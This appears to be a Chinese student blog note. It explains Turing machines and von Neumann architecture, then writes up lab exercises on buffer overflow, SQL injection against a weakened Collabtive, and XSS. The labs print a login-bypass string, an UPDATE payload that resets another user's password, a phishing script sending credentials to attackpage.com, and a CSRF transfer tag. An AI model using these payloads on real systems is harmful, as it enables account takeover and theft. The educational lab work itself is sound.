一、对冯·诺依曼体系结构和图灵机的理解

图灵机体系结构

图灵机构成图

图灵架构什么意思 图灵架构是什么_数据结构

图灵机,又称图灵计算、图灵计算机,是由数学家阿兰·麦席森·图灵(1912~1954)提出的一种抽象计算模型,即将人们使用纸笔进行数学运算的过程进行抽象,由一个虚拟的机器替代人们进行数学运算。

所谓的图灵机就是指一个抽象的机器,它有一条无限长的纸带,纸带分成了一个一个的小方格,每个方格有不同的颜色。有一个机器头在纸带上移来移去。机器头有一组内部状态,还有一些固定的程序。在每个时刻,机器头都要从当前纸带上读入一个方格信息,然后结合自己的内部状态查找程序表,根据程序输出信息到纸带方格上,并转换自己的内部状态,然后进行移动。

作为研究计算的一般性质的抽象工具,替代人们进行数学运算,并有以下作用:

1、作为语言接受器:被M接受的语育记作L(M),它是Σ中的这样一些字符串的集合,当把这些字符串放在M的带子上,M处于q0状态且M的带头处在最左单元时.这些字符串可以使M进入一个终结状态而停机。给定一个识别语言L的图灵机M,一般假定,当输入被接受时,M为停机,即没有下一动作。然而对于不被接受的字符串,M可能永不停机.被图灵机接受的语官称为递归可枚举语言。递归集合是递归可枚举集合的子类,递归集合总能被对所有输入都能停机的图灵机所接受。

2、作为整数函数计算机:被图灵机计算的函数称为部分递归函数。在某种意义上,部分递归函数类似于递归可枚举语言.因为计算它的图灵机在给定的输入上可能不停机。完全递归函数对应于递归语育.因为它能被总能停机的图灵机计算。

3、作为语言产生器:设M是一个多带图灵机,它用一条带作为输出带,在这条带上,符号一经写出上就不能再改写.输出带的带头也不能左移。假定在输出带上,M写出某个字毋表Σ的一些字符串,并用分隔符分开,则最终打印在输出带上的字符串的集合就称为由M生成的语言,记为G(M),G(M)Σ。如果L是某个图灵机生成的语言,则L是递归可枚举集合,反之亦然。

图灵的基本思想是用机器来模拟人们用纸笔进行数学运算的过程,他把这样的过程看作下列两种简单的动作:

在纸上写上或擦除某个符号;

把注意力从纸的一个位置移动到另一个位置;

而在每个阶段,人要决定下一步的动作,依赖于此人当前所关注的纸上某个位置的符号和此人当前思维的状态。

为了模拟人的这种运算过程,图灵构造出一台假想的机器,该机器由以下几个部分组成:

1.一条无限长的纸带 TAPE。纸带被划分为一个接一个的小格子,每个格子上包含一个来自有限字母表的符号,字母表中有一个特殊的符号 表示空白。纸带上的格子从左到右依此被编号为 0,1,2,。.. ,纸带的右端可以无限伸展。

2.一个读写头 HEAD。该读写头可以在纸带上左右移动,它能读出当前所指的格子上的符号,并能改变当前格子上的符号。

3.一套控制规则 TABLE。它根据当前机器所处的状态以及当前读写头所指的格子上的符号来确定读写头下一步的动作,并改变状态寄存器的值,令机器进入一个新的状态。

4.一个状态寄存器。它用来保存图灵机当前所处的状态。图灵机的所有可能状态的数目是有限的,并且有一个特殊的状态,称为停机状态。参见停机问题。

注意这个机器的每一部分都是有限的,但它有一个潜在的无限长的纸带,因此这种机器只是一个理想的设备。图灵认为这样的一台机器就能模拟人类所能进行的任何计算过程。

冯·诺依曼体系结构

图灵架构什么意思 图灵架构是什么_数据_02

描述了指令和数据被存储在存储器中所存储的程序的计算机和机的工作原理,通过改变其内部状态,即,一个指令在某些数据进行操作,并修改数据。因此,系统中存在状态。冯·诺依曼体系结构是用于构建实际计算机的架构(其实现图灵机在理论上描述的内容)。
虽然计算机技术发展很快,但存储程序原理至今仍然是计算机内在的基本工作原理。自计算机诞生的那一天起,这一原理就决定了人们使用计算机的主要方式——编写程序和运行程序。科学家们一直致力于提高程序设计的自动化水平,改进用户的操作界面,提供各种开发工具、环境与平台,其目的都是为了让人们更加方便地使用计算机,可以少编程甚至不编程来使用计算机,因为计算机编程毕竟是一项复杂的脑力劳动。但不管用户的开发与使用界面如何演变,存储程序控制原理没有变,它仍然是我们理解计算机系统功能与特征的基础。

说到计算机的发展,就不能不提到美籍匈牙利科学家冯·诺依曼。从20世纪初,物理学和电子学科学家们就在争论制造可以进行数值计算的机器应该采用什么样的结构。人们被十进制这个人类习惯的计数方法所困扰。所以,那时以研制模拟计算机的呼声更为响亮和有力。

20世纪30年代中期,冯·诺依曼大胆的提出,抛弃十进制,采用二进制作为数字计算机的数制基础。同时,他还说预先编制计算程序,然后由计算机来按照人们事前制定的计算顺序来执行数值计算工作。冯·诺依曼和同事们设计出了一个完整的现代计算机雏形,并确定了存储程序计算机的五大组成部分和基本工作方法。冯·诺依曼的这一设计思想被誉为计算机发展史上的里程碑,标志着计算机时代的真正开始。冯·诺依曼成功将其理论运用在计算机的设计之中,根据这一原理制造的计算机被称为冯·诺依曼结构计算机,世界上第一台冯·诺依曼式计算机是1949年研制的EDVAC,由于他对现代计算机技术的突出贡献,因此冯·诺依曼又被称为“计算机之父”,存储程序控制原理又称冯·诺依曼原理。

约翰·冯·诺伊曼等人在edvac报告书的第一份草案该文件描述了具有以下组件的电子数字计算机的设计架构:

- 处理单元包含一个算术逻辑单元和处理器寄存器
- 控制单元包含一个指令寄存器和程序计数器
- 存储数据和指令的内存
- 外部大容量存储
- 输入和输出机制

冯·诺伊曼结构在体系结构上主要特点有:

- 以运算单元为中心
- 采用存储程序原理
- 存储器是按地址访问、线性编址的空间
- 控制流由指令流产生
- 指令由操作码和地址码组成
- 数据以二进制编码

冯.诺依曼体系结构是现代计算机的基础,现在大多计算机仍是冯.诺依曼计算机的组织结构,只是作了一些改进而已,并没有从根本上突破冯体系结构的束缚。冯.诺依曼也因此被人们称为“计算机之父”。

图灵机和冯·诺依曼体系的异同

图灵机存在两点缺陷。第一,没能将指令存储起来重复使用。第二,没能形成实现程序结构设计。由于这两点缺欠,使图灵机还不能成为能够处理各种任务的计算机。图灵机欠缺的这两点恰被冯诺依曼提出的程序数据存储的思想解决了。

程序=指令+数据的理解

  • 程序:计算机程序是一组计算机能识别和执行的指令,运行于电子计算机上,满足人们某种需求的信息化工具。
    它以某些程序设计语言编写,运行于某种目标结构体系上。打个比方,程序就如同以英语(程序设计语言)写作的文章,要让一个懂得英语的人(编译器)同时也会阅读这篇文章的人(结构体系)来阅读、理解、标记这篇文章。一般的,以英语文本为基础的计算机程序要经过编译、链接而成为人难以解读,但可轻易被计算机所解读的数字格式,然后放入运行。程序是一个指令序列。
  • 指令:计算机从事某一特殊运算的代码。如:数据传送指令、算术运算指令、位运算指令、程序流程控制指令、串操作指令、处理器控制指令。
    计算机程序发给计算机处理器的命令就是“指令(instruction)”。最低级的指令是一串0和1,表示一项实体作业操作要运行(如“Add”)。根据指令类型,某个具体的存储领域被称作“寄存器(register)”,里面包含了可用于调出指令的数据或数据存储位置。计算机的汇编语言(assembler)中,每种语言一般只响应单一的处理器指令。而高级语言的每种语言经过程序编辑后能响应多个处理器指令。在汇编语言中,宏指令(macro instruction)在汇编程序处理过程中会扩展为多个指令(以编码过的源宏定义为基础)。
    指令是指示计算机执行某种操作的命令。它由一串二进制数码组成。
    一条指令通常由两个部分组成:操作码+地址码。
    操作码:指明该指令要完成的操作的类型或性质,如取数、做加法或输出数据等。
    地址码:指明操作对象的内容或所在的存储单元地址。
  • 数据:数据结构是计算机存储、组织数据的方式。数据结构是指相互之间存在一种或多种特定关系的数据元素的集合。通常情况下,精心选择的数据结构可以带来更高的运行或者存储效率。数据结构往往同高效的检索算法和索引技术有关。
    一般认为,一个数据结构是由数据元素依据某种逻辑联系组织起来的。对数据元素间逻辑关系的描述称为数据的逻辑结构;数据必须在计算机内存储,数据的存储结构是数据结构的实现形式,是其在计算机内的表示;此外讨论一个数据结构必须同时讨论在该类数据上执行的运算才有意义。一个逻辑数据结构可以有多种存储结构,且各种存储结构影响数据处理的效率。
    在许多类型的程序的设计中,数据结构的选择是一个基本的设计考虑因素。许多大型系统的构造经验表明,系统实现的困难程度和系统构造的质量都严重的依赖于是否选择了最优的数据结构。许多时候,确定了数据结构后,算法就容易得到了。有些时候事情也会反过来,我们根据特定算法来选择数据结构与之适应。不论哪种情况,选择合适的数据结构都是非常重要的。
    选择了数据结构,算法也随之确定,是数据而不是算法是系统构造的关键因素。这种洞见导致了许多种软件设计方法和程序设计语言的出现,面向对象的程序设计语言就是其中之一。

安全问题

实验一、缓冲区溢出漏洞

主要通过实验楼缓冲区溢出漏洞试验课程,学习如何利用缓冲区溢出漏洞进行攻击。

一、实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

二、实验步骤

实验环境为实验楼提供的虚拟操作系统。

由于是实验需在32位环境下操作,故首先使用以下命令安装相关环境:

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev

安装完毕后,输入linux32与/bin/bash,进入32位linux环境,由于猜测内存地址是缓冲区溢出攻击的关键,所以首先使用以下命令:

sudo sysctl -w kernel.randomize_va_space=0

关闭系统内存地址空间随机化功能,以方便猜测内存地址。
由于许多shell程序在被调用时会自动放弃他们的特权,因而需要使用另一个shell(zsh)来代替/bin/bash:

图灵架构什么意思 图灵架构是什么_SQL_03

这里使用一个精心设计的shellcode使得缓冲溢出后,跳转到指定位置:

图灵架构什么意思 图灵架构是什么_数据_04

实际使用的是其汇编版本:

图灵架构什么意思 图灵架构是什么_SQL_05

编写一个stack.c文件,内容如下:

图灵架构什么意思 图灵架构是什么_数据结构_06

编译该程序,其中,用 –fno-stack-protector 关闭栈保护机制,用-z execstack 用于允许执行栈,并更改权限:

图灵架构什么意思 图灵架构是什么_数据结构_07

编写攻击代码exploit.c,内容如下:

图灵架构什么意思 图灵架构是什么_SQL_08

图灵架构什么意思 图灵架构是什么_数据_09

其中“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,下面查看该地址:

图灵架构什么意思 图灵架构是什么_SQL_10

在0x080484f8处设定断点,并运行:

图灵架构什么意思 图灵架构是什么_SQL_11

shellcode地址为 0xffffd020 + 100 = 0xffffd084

图灵架构什么意思 图灵架构是什么_图灵架构什么意思_12

然后编译:

图灵架构什么意思 图灵架构是什么_数据结构_13

先运行攻击程序exploit,再运行漏洞程序stack:

图灵架构什么意思 图灵架构是什么_数据结构_14

可看到,攻击成功,获得root权限。

实验二 、SQL注入

主要通过实验楼Collabtive系统SQL注入实验课程,学习如何进行SQL注入。

一、实验简介

SQL注入技术是利用web应用程序和数据库服务器之间的接口,把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。
SQL注入会带来:
1.非法读取、篡改、添加、删除数据库中的数据。
2.盗取用户的各类敏感信息,获取利益。
3.通过修改数据库来修改网页上的内容。
4.私自添加或删除账号。
5.注入木马等等。

二、实验步骤

实验所用的web应用程序称为Collabtive,禁用Collabtive的若干防护措施,创建了一个容易受到SQL注入攻击的Collabtive版本。
首先可按照实验文档进行环境配置:

图灵架构什么意思 图灵架构是什么_数据_15

1.select语句的SQL注入

打开登录验证文件:

sudo vim /var/www/SQL/Collabtive/include/class.user.php

在375行处,更改为:

$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, FROM user WHERE (name = '$user ') #' OR email = '$user') AND pass = '$pass'");

然后重启服务器后,打开登录界面,输入 admin')# ,即可绕过密码登录:

图灵架构什么意思 图灵架构是什么_图灵架构什么意思_16

图灵架构什么意思 图灵架构是什么_图灵架构什么意思_17

2.update语句的SQL注入

在登录验证文件当中,如下位置:

function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
              $zip, $gender, $url, $address1, $address2, $state,
              $country, $tags, $locale, $avatar = "", $rate = 0.0)
    {
    $name = mysql_real_escape_string($name);
    $realname = mysql_real_escape_string($realname);

    //modified for SQL Lab
    //$company = mysql_real_escape_string($company);
    $email = mysql_real_escape_string($email);

    // further escaped parameters removed for brevity...

    $rate = (float) $rate;
    $id = (int) $id;

    if ($avatar != "")
        {
            $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                                tel1='$tel1', tel2='$tel2', company='$company',
                                zip='$zip', gender='$gender', url='$url',
                                adress='$address1', adress2='$address2',
                                state='$state', country='$country',
                                tags='$tags', locale='$locale',
                                avatar='$avatar', rate='$rate' WHERE ID = $id");
        }
    else
        {
            // same query as above minus setting avatar; removed for
            // brevity
        }
    if ($upd)
        {
            $this->mylog->add($name, 'user', 2, 0);
            return true;
        }
    else
        {
            return false;
        }
    }

我们会发现sql语句为:SELECT ID WHERE name='$user',并且company的位置是存在注入漏洞。
所以,我们以用户名bob,密码bob登录系统,在用户编辑界面修改信息并保存:
company处填写:

', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '
其中,这一串数字是pass的md5值

图灵架构什么意思 图灵架构是什么_数据_18

这样,就拥有了一个名为ted,密码为pass的新账号,可以通过登录进行测试:

图灵架构什么意思 图灵架构是什么_数据_19

可以看到,ted用户登录成功。

面对这些潜在的SQL注入漏洞,可通过默认开启 magic_quotes_gpc 来防御转义特殊字符的使用、避免使用特殊字符、使数据与sql语句分离等方法进行防御。

实验三、XSS攻击

XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。
攻击原理

假如页面有如下一个输入框
  <input type="text" name="record" value="沙发">
  是来自用户的输入,如果用户输入的是"onfocus="alert(document.cookie)
  那么就会变成 
  <input type="text" name="address1" value="" onfocus="alert(document.cookie)">
   事件被触发的时候嵌入的JavaScript代码将会被执行
   攻击的威力,取决于用户输入了什么样的脚本。

XSS分类

1.反射型XSS

反射型XSS,又称非持久型XSS。之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。而称为非持久型XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。

比如攻击者将如下链接发送给受害者:

http://www.targetserver.com/search.asp?input=

当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型XSS的原因。

2.存储型XSS

存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。

Xss危害

1.盗取cookie

通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码:

当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。
得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。

2.钓鱼攻击

所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:

<script>

  function hack(){      location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value);
  }

  </script>
  <form>
  <br> <H3>此功能需要登录:</H3 > 
  <br><br>请输入用户名:<br> 
  <input type=”text” id=”user”name=”user”>
  <br>请输入密码:<br>
  <input type=”password” name =“pass”>
  <br><input type=”submit”name=”login” value=”登录”onclick=”hack()”>
  </form>

注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击“登录”按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用   户的账号信息。和一般的钓鱼攻击不同,XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改的。

3.CSRF攻击

比如我们注入如下的HTML代码:
<imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>
假如上面的代码中所访问的是某个银行网站的转账服务,则当受害者的浏览器运行这段脚本时,就会向攻击者指定的账户(示例的123456)执行转账操作。由于这个转账请求是在受害者的浏览器中运行的,因此浏览器也会自动将受害者的Cookie信息一并发送。这样,发送的请求就好像是受害者自己发送的一样,银行网站也将认可这个请求的合法性,攻击者也就达到了伪造请求的目的。

4.传播恶意软件

除了直接注入恶意脚本以外,通过XSS攻击,攻击者也可以很方便地在脚本中引入一些恶意软件,比如病毒、木马、蠕虫等等。例如,攻击者可以在某个自己建立的页面上放置一些恶意软件,然后用XSS注入的方式,插入一段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候,就会自动访问放置了恶意软件的页面,从而受到这些恶意软件的感染。

XSS的预防

1.输入过滤

对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符,或者过滤“script”、“javascript”等脚本关键字,或者对输入数据的长度进行限制等等。同时,我们也要考虑用户可能绕ASCII码,使用十六进制编码来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。

2.输出编码

通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要用HtmlEncoder等工具先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。
  
3.Cookie防盗

利用XSS攻击,攻击者可以很方便地窃取到合法用户的Cookie信息。因此,对于Cookie,我们可以采取以下的措施。首先,我们要尽可能地避免在Cookie中泄露隐私,如用户名、密码等;其次,我们可以将Cookie信息利用MD5等Hash算法进行多次散列后存放;再次,为了防止重放攻击,我们也可以将Cookie和IP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。 作为一名普通的网络用户,在XSS攻击的预防上我们可以采取以下措施。首先,我们不要轻易相信电子邮件或者网页中的不明链接,这些链接很有可能引导反射型XSS攻击或者使我们访问到一些不安全的网页。其次,我们在不必要的时候可以禁用脚本功能,这样XSS注入的脚本就无法得到运行。

三种攻击的共同点

三种攻击都是利用存储程序的特点,将非法程序插入到要执行的程序中,使程序跳转到攻击者想要执行的位置执行从而完成攻击。抽象的解决方案,个人认为可以将用户的输入视为数据,而指令部分不能被修改,这样根据用户的输入数据不同,跳转到不同的程序进行执行,并且应当设置一个合法范围,超出部分不能执行。

参考资料

从图灵机模型到冯!诺依曼结构深入理解图灵机图灵与冯·诺伊曼的区别